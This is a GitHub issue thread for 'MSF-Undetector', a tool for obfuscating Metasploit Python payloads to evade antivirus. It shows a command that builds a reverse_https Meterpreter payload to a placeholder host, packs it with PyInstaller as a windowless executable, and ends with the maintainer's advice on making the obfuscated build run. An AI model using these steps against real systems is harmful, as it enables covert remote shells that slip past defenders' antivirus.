kkar / MSF-Undetector

Metasploit python-payload obfuscation, to allow penetration testers bypass Antivirus solutions.
29 stars 15 forks source link

Error on execution the generated file #2

Closed tehseensagar closed 6 years ago

tehseensagar commented 6 years ago

Getting bunch of errors tried on both OS windows and Linux with pyinstaller and direct python file.

Steps:

python pyfud.py -p python/meterpreter/reverse_https -a x.x.x.x -l 443 -o fud.py

pyinstaller on Linux

pyinstaller --noconsole --onefile fud.py

python dist/fud

OR

python fud.py

Same Below error

Traceback (most recent call last): File "fud.py", line 1, in vMjM3Mik....'))) File "", line 1, in File "", line 13, in File "/usr/lib/python2.7/urllib2.py", line 429, in open response = self._open(req, data) File "/usr/lib/python2.7/urllib2.py", line 447, in _open '_open', req) File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain result = func(*args) File "/usr/lib/python2.7/urllib2.py", line 1241, in https_open context=self._context) File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open raise URLError(err) urllib2.URLError: <urlopen error [Errno 111] Connection refused>

Even tried it on windows but same issue

Regards Tehseen

kkar commented 6 years ago

@tehseensagar you should tell PyInstaller to include the following packages (they are the MSF payload's imports), since they are not imported automatically because it can not detect them due to obfuscation.

You can verify those imports by printing the decoded variable in msfud.py. Here is a link to help you understand the package-inclusion process with PyInstaller.